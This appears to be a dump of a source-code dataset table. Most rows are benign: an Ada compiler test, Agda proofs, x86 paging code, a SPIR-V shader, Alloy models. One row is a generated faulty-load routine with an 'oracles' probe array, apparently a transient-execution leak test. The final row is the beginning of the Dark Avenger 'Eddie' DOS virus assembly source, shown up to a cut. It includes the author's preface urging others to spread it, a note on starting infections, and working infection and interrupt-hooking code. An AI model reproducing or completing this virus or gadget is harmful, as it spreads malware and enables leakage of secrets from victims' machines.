max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c8/c87b41a.ada | best08618/asylo | 7 | 28533 | -- C87B41A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT OVERLOADING RESOLUTION USES THE RULE THAT:
--
-- THE NAMED VARIABLE AND THE RIGHT HAND SIDE EXPRESSION
-- IN AN ASSIGNMENT STATEMENT MUST BE OF THE SAME TYPE. THIS TYPE
-- MUST NOT BE A LIMITED TYPE.
-- TRH 15 SEPT 82
-- PWN 01/31/95 REMOVED INCONSISTENCIES WITH ADA 9X.
WITH REPORT; USE REPORT;
PROCEDURE C87B41A IS
TYPE NOTE IS (A, B, C, D, E, F, G);
TYPE POSITIVE IS NEW INTEGER RANGE 1 .. INTEGER'LAST;
TYPE ACC_CHAR IS ACCESS CHARACTER;
TYPE ACC_DUR IS ACCESS DURATION;
TYPE ACC_POS IS ACCESS POSITIVE;
TYPE ACC_INT IS ACCESS INTEGER;
TYPE ACC_BOOL IS ACCESS BOOLEAN;
TYPE ACC_STR IS ACCESS STRING;
TYPE ACC_FLT IS ACCESS FLOAT;
TYPE ACC_NOTE IS ACCESS NOTE;
TYPE NEW_CHAR IS NEW CHARACTER;
TYPE NEW_DUR IS NEW DURATION;
TYPE NEW_POS IS NEW POSITIVE;
TYPE NEW_INT IS NEW INTEGER;
TYPE NEW_BOOL IS NEW BOOLEAN;
TYPE NEW_FLT IS NEW FLOAT;
TYPE NEW_NOTE IS NEW NOTE RANGE A .. F;
TASK TYPE T;
TASK BODY T IS
BEGIN
NULL;
END T;
FUNCTION G RETURN T IS
T1 : T;
BEGIN
FAILED ("LIMITED TYPES MAY NOT OCCUR IN ASSIGNMENT " &
"STATEMENTS");
RETURN T1;
END G;
GENERIC
TYPE T IS PRIVATE;
ARG : IN T;
FUNCTION F1 RETURN T;
FUNCTION F1 RETURN T IS
BEGIN
FAILED ("RESOLUTION INCORRECT - RIGHT HAND SIDE OF " &
"ASSIGNMENT STATEMENT MUST MATCH TYPE OF VARIABLE");
RETURN ARG;
END F1;
FUNCTION F IS NEW F1 (ACC_CHAR, NEW CHARACTER);
FUNCTION F IS NEW F1 (ACC_DUR, NEW DURATION);
FUNCTION F IS NEW F1 (ACC_POS, NEW POSITIVE);
FUNCTION F IS NEW F1 (ACC_INT, NEW INTEGER);
FUNCTION F IS NEW F1 (ACC_BOOL, NEW BOOLEAN);
FUNCTION F IS NEW F1 (ACC_STR, NEW STRING(1..2) );
FUNCTION F IS NEW F1 (ACC_FLT, NEW FLOAT);
FUNCTION F RETURN ACC_NOTE IS
BEGIN
RETURN (NEW NOTE);
END F;
FUNCTION G IS NEW F1 (NEW_CHAR, 'G');
FUNCTION G IS NEW F1 (NEW_DUR, 1.0);
FUNCTION G IS NEW F1 (NEW_POS, +10);
FUNCTION G IS NEW F1 (NEW_INT, -10);
FUNCTION G IS NEW F1 (NEW_BOOL, TRUE);
FUNCTION G IS NEW F1 (NEW_FLT, 1.0);
FUNCTION G IS NEW F1 (NEW_NOTE, F);
BEGIN
TEST ("C87B41A","OVERLOADED CONSTRUCTS ON BOTH SIDES OF THE " &
"ASSIGNMENT STATEMENT");
F.ALL := G;
RESULT;
END C87B41A;
|
src/SystemF/Syntax.agda | metaborg/ts.agda | 4 | 13384 | module SystemF.Syntax where
open import SystemF.Syntax.Type public
open import SystemF.Syntax.Term public
open import SystemF.Syntax.Context public
|
paging/paging.asm | ilya101010/asm_studies | 1 | 86898 | format ELF
include 'macro.inc'
include 'procedures.inc'
section '.text' executable
use32
public init_paging
pd_add = 0xA000
pd_size = 4
pd_num = 1024
; [pde, pde+0x1000] - PDE 1
; [pde+0x1000+1+(i-1)]
macro set_entry dst, src, flags
{
mov eax, src
and eax, 0xFFFFF000
or eax, flags
mov [dst], eax
}
init_paging:
mbp
.clean:
ccall fill_zeros, PD, 0x1000
ccall fill_zeros, PT, 2*0x1000
.pd_set:
mov edi, PD
mov ecx, 1024
.lp1:
set_entry edi, PT, 000000000011b
add edi, 4
loop .lp1
.pe_set:
mov edi, PT
mov ecx, 1024
mbp
.lp2:
mov eax, 0x8000
and eax, 0xFFFFF000 ; align
or eax, 000000000011b
stosd
loop .lp2
mov edi, PT+4*0xB8
mov eax, 0xB8000
and eax, 0xFFFFF000 ; align
or eax, 000000000011b
stosd
mbp
.enable:
mov eax, PD
mov cr3, eax
mov eax, cr0
or eax, 0x80000000
mov cr0, eax
mbp
ccall print, paging, 2, 0x0a
jmp $
paging: db "paging!",0
set_address: ; esi - address of entry, eax - first 12 bits - flags
setup_table: ; eax - # of table in PD, bh - flags, edx - address
.pd_entry_setup:
ret
setup:
ccall fill_zeros, PD, 0x1000
PD = pd_add
PT = pd_add+pd_num*pd_size
|
coverage/IN_CTS/0534-COVERAGE-value-lattice-h-280/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 0 | 1052 | <reponame>asuonpaa/ShaderTests
; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 113
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %94
OpExecutionMode %4 OriginUpperLeft
OpSource ESSL 320
OpName %4 "main"
OpName %8 "a"
OpName %12 "buf0"
OpMemberName %12 0 "_GLF_uniform_int_values"
OpName %14 ""
OpName %20 "b"
OpName %35 "i"
OpName %65 "indexable"
OpName %94 "_GLF_color"
OpDecorate %11 ArrayStride 16
OpMemberDecorate %12 0 Offset 0
OpDecorate %12 Block
OpDecorate %14 DescriptorSet 0
OpDecorate %14 Binding 0
OpDecorate %94 Location 0
%2 = OpTypeVoid
%3 = OpTypeFunction %2
%6 = OpTypeInt 32 1
%7 = OpTypePointer Function %6
%9 = OpTypeInt 32 0
%10 = OpConstant %9 6
%11 = OpTypeArray %6 %10
%12 = OpTypeStruct %11
%13 = OpTypePointer Uniform %12
%14 = OpVariable %13 Uniform
%15 = OpConstant %6 0
%16 = OpConstant %6 1
%17 = OpTypePointer Uniform %6
%31 = OpTypeBool
%45 = OpConstant %6 2
%48 = OpConstant %6 3
%51 = OpConstant %6 4
%54 = OpConstant %6 5
%59 = OpConstant %9 5
%60 = OpTypeArray %6 %59
%64 = OpTypePointer Function %60
%91 = OpTypeFloat 32
%92 = OpTypeVector %91 4
%93 = OpTypePointer Output %92
%94 = OpVariable %93 Output
%4 = OpFunction %2 None %3
%5 = OpLabel
%8 = OpVariable %7 Function
%20 = OpVariable %7 Function
%35 = OpVariable %7 Function
%65 = OpVariable %64 Function
%18 = OpAccessChain %17 %14 %15 %16
%19 = OpLoad %6 %18
OpStore %8 %19
%21 = OpAccessChain %17 %14 %15 %16
%22 = OpLoad %6 %21
OpStore %20 %22
OpBranch %23
%23 = OpLabel
OpLoopMerge %25 %26 None
OpBranch %27
%27 = OpLabel
%28 = OpLoad %6 %20
%29 = OpAccessChain %17 %14 %15 %16
%30 = OpLoad %6 %29
%32 = OpSGreaterThanEqual %31 %28 %30
OpBranchConditional %32 %24 %25
%24 = OpLabel
%33 = OpLoad %6 %20
%34 = OpISub %6 %33 %16
OpStore %20 %34
%36 = OpAccessChain %17 %14 %15 %16
%37 = OpLoad %6 %36
OpStore %35 %37
OpBranch %38
%38 = OpLabel
OpLoopMerge %40 %41 None
OpBranch %42
%42 = OpLabel
%43 = OpLoad %6 %35
%44 = OpINotEqual %31 %43 %15
OpBranchConditional %44 %39 %40
%39 = OpLabel
%46 = OpAccessChain %17 %14 %15 %45
%47 = OpLoad %6 %46
%49 = OpAccessChain %17 %14 %15 %48
%50 = OpLoad %6 %49
%52 = OpAccessChain %17 %14 %15 %51
%53 = OpLoad %6 %52
%55 = OpAccessChain %17 %14 %15 %54
%56 = OpLoad %6 %55
%57 = OpAccessChain %17 %14 %15 %16
%58 = OpLoad %6 %57
%61 = OpCompositeConstruct %60 %47 %50 %53 %56 %58
%62 = OpLoad %6 %20
%63 = OpISub %6 %62 %16
OpStore %20 %63
OpStore %65 %61
%66 = OpAccessChain %7 %65 %62
%67 = OpLoad %6 %66
OpStore %8 %67
OpBranch %41
%41 = OpLabel
%68 = OpLoad %6 %35
%69 = OpISub %6 %68 %16
OpStore %35 %69
OpBranch %38
%40 = OpLabel
%70 = OpLoad %6 %8
%71 = OpAccessChain %17 %14 %15 %16
%72 = OpLoad %6 %71
%73 = OpSGreaterThan %31 %70 %72
OpSelectionMerge %75 None
OpBranchConditional %73 %74 %75
%74 = OpLabel
%76 = OpLoad %6 %20
%77 = OpIAdd %6 %76 %16
OpStore %20 %77
OpBranch %75
%75 = OpLabel
OpBranch %26
%26 = OpLabel
OpBranch %23
%25 = OpLabel
%78 = OpLoad %6 %8
%79 = OpAccessChain %17 %14 %15 %45
%80 = OpLoad %6 %79
%81 = OpIEqual %31 %78 %80
OpSelectionMerge %83 None
OpBranchConditional %81 %82 %83
%82 = OpLabel
%84 = OpLoad %6 %20
%85 = OpAccessChain %17 %14 %15 %15
%86 = OpLoad %6 %85
%87 = OpIEqual %31 %84 %86
OpBranch %83
%83 = OpLabel
%88 = OpPhi %31 %81 %25 %87 %82
OpSelectionMerge %90 None
OpBranchConditional %88 %89 %108
%89 = OpLabel
%95 = OpAccessChain %17 %14 %15 %16
%96 = OpLoad %6 %95
%97 = OpConvertSToF %91 %96
%98 = OpAccessChain %17 %14 %15 %15
%99 = OpLoad %6 %98
%100 = OpConvertSToF %91 %99
%101 = OpAccessChain %17 %14 %15 %15
%102 = OpLoad %6 %101
%103 = OpConvertSToF %91 %102
%104 = OpAccessChain %17 %14 %15 %16
%105 = OpLoad %6 %104
%106 = OpConvertSToF %91 %105
%107 = OpCompositeConstruct %92 %97 %100 %103 %106
OpStore %94 %107
OpBranch %90
%108 = OpLabel
%109 = OpAccessChain %17 %14 %15 %15
%110 = OpLoad %6 %109
%111 = OpConvertSToF %91 %110
%112 = OpCompositeConstruct %92 %111 %111 %111 %111
OpStore %94 %112
OpBranch %90
%90 = OpLabel
OpReturn
OpFunctionEnd
|
dsp++/src/arch/x86/xxgetbv.asm | andrzejc/dsp- | 0 | 6328 | .CODE
xxgetbv PROC
mov ecx, [esp + 4]
xgetbv
; db 0fh
; db 01h
; db d0h
ret
xxgetbv ENDP
END |
Transynther/x86/_processed/NONE/_ht_zr_/i9-9900K_12_0xca.log_21829_680.asm | ljhsiun2/medusa | 9 | 83922 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r8
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xa8c3, %rax
clflush (%rax)
nop
nop
nop
add $24122, %rcx
movb $0x61, (%rax)
xor %r8, %r8
lea addresses_UC_ht+0xc983, %r12
nop
nop
nop
nop
nop
add $56697, %rcx
movb $0x61, (%r12)
nop
nop
nop
nop
and $39790, %rax
lea addresses_normal_ht+0x14cc3, %rcx
nop
xor %rbp, %rbp
vmovups (%rcx), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %r8
nop
nop
inc %rax
lea addresses_A_ht+0xac3b, %r12
nop
nop
nop
nop
cmp %rax, %rax
movups (%r12), %xmm3
vpextrq $0, %xmm3, %rbp
nop
nop
nop
nop
xor %rax, %rax
lea addresses_WT_ht+0x9fc3, %rbp
nop
nop
xor %rax, %rax
mov $0x6162636465666768, %r12
movq %r12, (%rbp)
nop
xor $12675, %rbp
lea addresses_UC_ht+0x183d7, %rsi
lea addresses_normal_ht+0x3ec3, %rdi
nop
nop
nop
dec %r9
mov $120, %rcx
rep movsl
nop
dec %rax
lea addresses_D_ht+0xca03, %rbp
xor %r9, %r9
vmovups (%rbp), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rax
nop
nop
nop
nop
nop
add $13140, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r8
push %r9
push %rax
push %rbp
push %rbx
push %rsi
// Store
lea addresses_WC+0x1dfc3, %r8
nop
nop
nop
dec %rbx
mov $0x5152535455565758, %rax
movq %rax, %xmm0
movaps %xmm0, (%r8)
nop
nop
nop
nop
sub %rbx, %rbx
// Store
lea addresses_normal+0x15985, %r8
clflush (%r8)
nop
nop
xor $39089, %r9
mov $0x5152535455565758, %rbp
movq %rbp, %xmm3
vmovups %ymm3, (%r8)
add $41042, %r8
// Faulty Load
lea addresses_WT+0x98c3, %rbx
nop
nop
nop
nop
nop
xor $61517, %rsi
vmovups (%rbx), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %rax
lea oracles, %r14
and $0xff, %rax
shlq $12, %rax
mov (%r14,%rax,1), %rax
pop %rsi
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': True, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WT', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': True, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'44': 21669, '00': 70, '46': 90}
44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 46 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 46 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44
*/
|
src/Categories/Object/Product/Indexed/Properties.agda | bblfish/agda-categories | 5 | 14782 | <reponame>bblfish/agda-categories
{-# OPTIONS --without-K --safe #-}
open import Categories.Category
module Categories.Object.Product.Indexed.Properties {o ℓ e} (C : Category o ℓ e) where
open import Level
open import Categories.Category.Discrete
open import Categories.Category.Complete
open import Categories.Category.Construction.Cones
open import Categories.Category.Lift
open import Categories.Object.Product.Indexed C
open import Categories.Diagram.Limit
open import Categories.Functor
import Relation.Binary.PropositionalEquality as ≡
private
variable
o′ ℓ′ e′ : Level
open Category C
module _ {i} (Com : Complete (i ⊔ o′) (i ⊔ ℓ′) (i ⊔ e′) C) where
module _ {I : Set i} (P : I → Obj) where
private
Z = liftC o′ ℓ′ e′ (Discrete I)
F = lift-func C P ∘F unliftF o′ ℓ′ e′ (Discrete I)
module L = Limit (Com F)
K : ∀ {Y} → (∀ i → Y ⇒ P i) → Cone F
K f = record
{ apex = record
{ ψ = λ i → f (lower i)
; commute = λ { (lift ≡.refl) → identityˡ }
}
}
Complete⇒IndexedProductOf : IndexedProductOf P
Complete⇒IndexedProductOf = record
{ X = L.apex
; π = λ i → L.proj (lift i)
; ⟨_⟩ = λ f → L.rep (K f)
; commute = λ f _ → Cone⇒.commute (L.rep-cone (K f))
; unique = λ f g eq → L.terminal.!-unique {A = K g} record
{ arr = f
; commute = eq _
}
}
|
part1/relations/+-mono-<.agda | akiomik/plfa-solutions | 1 | 11611 | <reponame>akiomik/plfa-solutions<gh_stars>1-10
module +-mono-< where
open import Data.Nat using (ℕ; zero; suc; _+_)
open import Data.Nat.Properties using (+-comm)
open import Relations using (_<_; z<s; s<s)
open import <-trans using (<-trans)
+-monoʳ-< : ∀ (n p q : ℕ)
→ p < q
-------------
→ n + p < n + q
+-monoʳ-< zero p q p<q = p<q
+-monoʳ-< (suc n) p q p<q = s<s (+-monoʳ-< n p q p<q)
+-monoˡ-< : ∀ (m n p : ℕ)
→ m < n
-------------
→ m + p < n + p
+-monoˡ-< m n p m<n rewrite +-comm m p | +-comm n p = +-monoʳ-< p m n m<n
+-mono-< : ∀ (m n p q : ℕ)
→ m < n
→ p < q
-------------
→ m + p < n + q
+-mono-< m n p q m<n p<q = <-trans (+-monoˡ-< m n p m<n) (+-monoʳ-< n p q p<q)
|
_lessons/05-academy/code/academia-2.als | HanielB/2021.1-fm | 0 | 4898 | ---------------- Signatures ----------------
abstract sig Person {}
sig Faculty extends Person {}
abstract sig Student extends Person {
id: one Id,
transcript: set Course
}
sig Graduate, Undergrad extends Student {}
sig Instructor in Person {}
sig Course {
taughtby: one Instructor,
enrolled: some Student,
waitlist: set Student,
prerequisites: set Course
}
sig Id {}
---------------- Fact ----------------
fact
{
-- All instructors are either Faculty or Graduate Students
all i: Instructor | i in Faculty+Graduate
-- No one is waiting for a course unless someone is enrolled
all c: Course | some c.waitlist => some c.enrolled
-- Graduate students do not teach courses they are enrolled in
-- or wainting to enroll in
all c: Course | c.taughtby !in c.enrolled + c.waitlist
-- No student is enrolled and on the waitlist for the same course
all c: Course | no (c.enrolled & c.waitlist)
-- No two distinct students have the same ID
all s1, s2: Student | s1 != s2 => s1.id != s2.id
-- A student can only have a course for which they have the prerequisites
all s: Student | s.transcript.prerequisites in s.transcript
-- There are no cycles in the prerequisite dependencies
all c: Course | c !in c.^prerequisites
}
------------------- Run ---------------------
pred RealismConstraints [] {
-- There is a graduate student who is an instructor
some Graduate & Instructor
-- There are at least two courses
#Course >= 2
-- There are at least three undergraduates
#Undergrad > 2
}
run RealismConstraints for 4
---------------- Assertion ----------------
-- No instructor is on the waitlist for a course that he/she teaches
assert NoWaitingTeacher {
all c: Course | no (c.taughtby & c.waitlist)
}
check NoWaitingTeacher for 10
-- A student can only wait to be in a course for which they have the prerequisites
assert AllWaitsHavePrereqs {
all s: Student | (waitlist.s).prerequisites in s.transcript
}
check AllWaitsHavePrereqs
|
HoTT.agda | UlrikBuchholtz/HoTT-Agda | 1 | 14279 | <gh_stars>1-10
{-# OPTIONS --without-K #-}
module HoTT where
open import lib.Basics public
open import lib.types.Types public
open import lib.groups.Groups public
open import lib.cubical.Cubical public
open import lib.NType2 public
open import lib.Equivalences2 public
open import lib.NConnected public
{-
To use coinduction in the form of [∞], [♭] and [♯] you can do:
open import HoTT
open Coinduction
You can also use coinductive records and copatterns instead, that’s prettier
(see experimental/GlobularTypes.agda for an example)
-}
module Coinduction where
open import lib.Coinduction public
|
demos/SicDemos/link-factorial/print.asm | roycrippen/sicxe | 0 | 177089 | <gh_stars>0
print START 0
STA buffer
prtbuf LDA buffer
SUB max . find first power of 10, larger than buffer
COMP #0
JLT found
LDA max
MUL #10
STA max
J prtbuf
found LDA max . divide by 10 and print buffer/max
DIV #10
STA max
COMP #0
JEQ exit
LDA buffer
DIV max
ADD #48 . ASCII 0
WD #1
SUB #48
MUL max
STA tmp
LDA buffer
SUB tmp
STA buffer
J found
exit LDA #1
STA max . max = 1
LDA #10 . ASCII newline
WD #1
RSUB
max WORD 1
tmp RESW 1
buffer RESW 1
gap RESW 64
|
experiments/models/cd.als | saiema/ARepair | 5 | 5247 | <gh_stars>1-10
sig Class {
ext: lone Class
}
one sig Object extends Class {}
pred ObjectNoExt() {
// Object does not extend any class.
no Object.ext
}
pred Acyclic() {
// No class is a sub-class of itself (transitively).
all c: Class | c !in c.^ext
}
pred AllExtObject() {
// Each class other than Object is a sub-class of Object.
all c: Class - Object | c in Object.^~ext
}
pred ClassHierarchy() {
ObjectNoExt
Acyclic
AllExtObject
}
run ClassHierarchy for 3
|
programs/oeis/305/A305068.asm | neoneye/loda | 22 | 20726 | <filename>programs/oeis/305/A305068.asm<gh_stars>10-100
; A305068: a(n) = 54*n - 18 (n>=1).
; 36,90,144,198,252,306,360,414,468,522,576,630,684,738,792,846,900,954,1008,1062,1116,1170,1224,1278,1332,1386,1440,1494,1548,1602,1656,1710,1764,1818,1872,1926,1980,2034,2088,2142,2196,2250,2304,2358,2412,2466,2520,2574,2628,2682,2736,2790,2844,2898,2952,3006,3060,3114,3168,3222,3276,3330,3384,3438,3492,3546,3600,3654,3708,3762,3816,3870,3924,3978,4032,4086,4140,4194,4248,4302,4356,4410,4464,4518,4572,4626,4680,4734,4788,4842,4896,4950,5004,5058,5112,5166,5220,5274,5328,5382
mul $0,54
add $0,36
|
MSDOS/Virus.MSDOS.Unknown.avenger.asm | fengjixuchui/Family | 3 | 171543 | <reponame>fengjixuchui/Family
OK, Rob - here ya' go. As I understand it, this is only one revision level
lower than the "current" version of the virus -- but I have no idea what the
differences are between the two. Sigh. TASM can be used to assemble the
code but you have
[ Critical instructions for creating the executable have
been removed so this file can be viewed for educational
purposes only
]
I have been unable to cause the resulting executable to infect file on
floppy until
[ Critical instructions for creating the executable have
been removed so this file can be viewed for educational
purposes only
]
So, to begin infections
(after assembling/linking/editing the executable):
[ Critical instructions for creating the executable have
been removed so this file can be viewed for educational
purposes only
]
From there it will spread to files on
the hard drive and the floppy. FluShot+ makes a good monitor for watching
this virus at work. Have fun!
Thanks for your help, and thanks for a great weekend.
;************************
;* *
;* E D D I E *
;* *
;* by <NAME> *
;* *
;* 3-JAN-1989 *
;* *
;* version 1.31x *
;* *
;************************
; "Blessed is he who expects nothing, for he shall not be disappointed."
; The original source of one of the first Bulgarian viruses is in front of
; you. As you may notice, it's full of rubbish and bugs, but nevertheless
; the virus has spread surprisingly quickly troughout the country and made a
; quick round the globe. (It's well-known in Eastern and Western Europe, as
; well as in USA.) Due to the aniversary of its creation, the source is
; distributed freely. You have the rights to distribute the source which can
; be charged or free of charge, with the only condition not to modify it.
; The one, who intentionaly distributes this source modified in any way will
; be punished! Still, the author will be glad if any of you improves it and
; spreads the resulting executive file (i.e., the virus itself). Pay
; attention to the fact that after you assemble the source, the resulting
; .COM-file cannot be run. For that purpose you have to create a three-byte
; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
; two files. Don't try to place a JMP at the beginning of the source.
; DISCLAIMER: The author does not take any responsability for any damage,
; either direct or implied, caused by the usage or not of this source or of
; the resulting code after assembly. No warrant is made about the product
; functionability or quality.
; I cannot resist to express my special gratitude to my "populazer" Dipl.
; eng. <NAME>, who makes me famous and who, wishing it or
; not, helps very much in the spreading of my viruses, in spite of the fact
; that he tries to do just the opposite (writing programs in C has never
; led to any good).
; Greetings to all virus writers!
code segment
assume cs:code,ds:code
copyright:
db 'Eddie lives...somewhere in time!',0
date_stamp:
dd 12239000h
checksum:
db 30
; Return the control to an .EXE file:
; Restores DS=ES=PSP, loads SS:SP and CS:IP.
exit_exe:
mov bx,es
add bx,10h
add bx,word ptr cs:[si+call_adr+2]
mov word ptr cs:[si+patch+2],bx
mov bx,word ptr cs:[si+call_adr]
mov word ptr cs:[si+patch],bx
mov bx,es
add bx,10h
add bx,word ptr cs:[si+stack_pointer+2]
mov ss,bx
mov sp,word ptr cs:[si+stack_pointer]
db 0eah ;JMP XXXX:YYYY
patch:
dd 0
; Returns control to a .COM file:
; Restores the first 3 bytes in the
; beginning of the file, loads SP and IP.
exit_com:
mov di,100h
add si,offset my_save
movsb
movsw
mov sp,ds:[6] ;This is incorrect
xor bx,bx
push bx
jmp [si-11] ;si+call_adr-top_file
; Program entry point
startup:
call relative
relative:
pop si ;SI = $
sub si,offset relative
cld
cmp word ptr cs:[si+my_save],5a4dh
je exe_ok
cli
mov sp,si ;A separate stack is supported for
add sp,offset top_file+100h ;the .COM files, in order not to
sti ;overlap the stack by the program
cmp sp,ds:[6]
jnc exit_com
exe_ok:
push ax
push es
push si
push ds
mov di,si
; Looking for the address of INT 13h handler in ROM-BIOS
xor ax,ax
push ax
mov ds,ax
les ax,ds:[13h*4]
mov word ptr cs:[si+fdisk],ax
mov word ptr cs:[si+fdisk+2],es
mov word ptr cs:[si+disk],ax
mov word ptr cs:[si+disk+2],es
mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h
